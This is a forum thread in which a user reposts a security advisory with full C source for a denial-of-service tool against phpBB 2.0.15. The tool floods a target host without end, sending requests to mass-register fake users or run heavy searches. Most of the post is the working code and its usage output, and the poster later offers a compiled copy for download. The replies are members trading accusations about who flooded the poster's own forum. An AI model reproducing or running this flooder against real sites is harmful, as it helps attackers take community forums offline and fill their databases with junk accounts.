AuthorMessage
C0D3Z3R0
Pro
Posts: 166

Code:

/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]® - Advisory #15 - 00/00/06
--------------------------------------------------------
Program: phpBB 2.0.15
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.
-==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-
---------------------------------------------------------
- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.
- Tested
---------------------------------------------------------
localhost & many forums
- Explotation
---------------------------------------------------------
profile.php << By registering as many users as you can.
search.php << by searching in a way that the db couln't observe it.
- Exploit
---------------------------------------------------------
[C Source]
/*
Name: NsT-phpBBDoS
Copyright: NeoSecurityteam
Author: HaCkZaTaN
Date: 19/06/05
Description: xD You must figure out the problem xD
root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]
[*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>
[*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
[+] NsT-phpBBDoS v0.1 by HaCkZaTaN
[+] NeoSecurityTeam
[+] Dos has begun....[+]
.................................
root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE
MACHTYPE=i486-slackware-linux-gnu
root@NeoSecurity:/home/hackzatan#
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define __USE_GNU
#define _XOPEN_SOURCE
int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);
int main(int argc, char *argv[])
{
int sock, x = 0;
char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];
puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
puts("[+] NeoSecurityTeam");
puts("[+] Dos has begun....[+]\n");
fflush(stdout);
if(argc != 4) Use(argv[0]);
while(1)
{
sock = Connection(Host,80);
Write_In(sock, Path, Pro_Sea, Host, x);
#ifndef WIN32
shutdown(sock, SHUT_WR);
close(sock);
#else
closesocket(sock);
WSACleanup();
#endif
Pro_Sea = argv[2];
x++;
}
//I don't think that it will get here =)
return 0;
}
int Connection(char *Host, int Port)
{
#ifndef WIN32
#define SOCKET int
#else
int error;
WSADATA wsadata;
error = WSAStartup(MAKEWORD(2, 2), &wsadata);
if (error == SOCKET_ERROR)
{
perror("Could Not Start Up Winsock!\n");
return;
}
#endif
SOCKET sockfd;
struct sockaddr_in sin;
struct in_addr *myaddr;
struct hostent *h;
if(Port <= 0 || Port > 65535)
{
puts("[-] Invalid Port Number\n");
fflush(stdout);
exit(-1);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
perror("socket() ");
fflush (stdout);
exit(-1);
}
if(isalpha(Host[0]))
{
if((h = gethostbyname(Host)) == NULL)
{
perror("gethostbyname() ");
fflush (stdout);
exit(-1);
}
}
else
{
myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
myaddr->s_addr=inet_addr(Host);
if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
{
perror("gethostbyaddr() ");
fflush (stdout);
exit(-1);
}
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(Port);
memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
{
perror("connect() ");
exit (-1);
}
return sockfd;
}
void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.Cool Gecko/20050511 Firefox/1.0.4\r\n"
"Accept: */*\r\n"
"Accept-Language: en-us\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
"Accept encoding: gzip,deflate\r\n"
"Keep-Alive: 300\r\n"
"Proxy-Connection: keep-alive\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Cache-Control: no-cache\r\n"
"Pragma: no-cache\r\n";
char *Profile = "%40neosecurityteam.net&new_password=0123456&password_confirm=0123456
&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=&
viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1
&allowhtml=0&allowsmilies=1&language=english&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&
coppa=0&submit=Submit\r\n";
char *Search = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200\r\n";
if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
else if(strcmp("search.php", Pro_Sea) == 0)
{
Pro_Sea = "search.php?mode=results";
sprintf(str1, "search_keywords=Hack%d%s", x, Search);
}
else
{
puts("Sorry. Try making the right choice");
exit(-1);
}
sprintf(str2, "POST %s%s HTTP/1.1\r\n"
"Host: %s\r\n"
"Referer: http://%s/\r\n%s"
"Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);
write(sock, str2, strlen(str2));
write(1, ".", 1);
fflush(stdout);
}
char Use(char *program)
{
fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);
fflush(stdout);
exit(-1);
}
/*
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@@@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@
*/

Hope this is useful for someone, and thanks BM & Dzad for attempting to take down my site, legal action has been taken, I own eliteservers and therefore get to see all logs, use proxys next time ;)
dzadzuks
Ametuar
Posts: 135

Cy,, if u want i can showe u more.... thats if u want... they have proxy too 
P.S... donno who the fuck was taht man who flooded ya forum... but my net is slow last time so probly someone is using my machine as sock server.. sorry cy 
Mickey
Ametuar
Posts: 115

Quoted from dzadzuks
probly someone is using my machine as sock server.. sorry cy 

 
[-TE-]-ßlå¢kMågî¢-
Regular
Posts: 78

NeiSep
Ametuar
Posts: 93

you don't seems to be very nice
dzadzuks
Ametuar
Posts: 135

Cy.. i bet all things in ya site is all over legal.. even ya eliteservers template is from warez 
keep on rolling cy.. (thx for those men who did that) at least your forums looks big now  :x
C0D3Z3R0
Pro
Posts: 166

This problem is sorted now, and dzad, eliteservers template is a paid template from the1theme.com.
The forum is still working fine, and all users removed faster than the bot registered them
dzadzuks
Ametuar
Posts: 135

Quote:
and all users removed faster than the bot registered them

    someone told me it was like 20 seconds flood.... 
Quote:
This problem is sorted now

   is it? 
Meka][Meka
Unstopable
Posts: 700

stop this shit in this forum otherwise i'll ban the lot of u
C0D3Z3R0
Pro
Posts: 166

I'm just ignoring him, if anyone wants this exploit I have compiled it and it's in my shares on DC ;)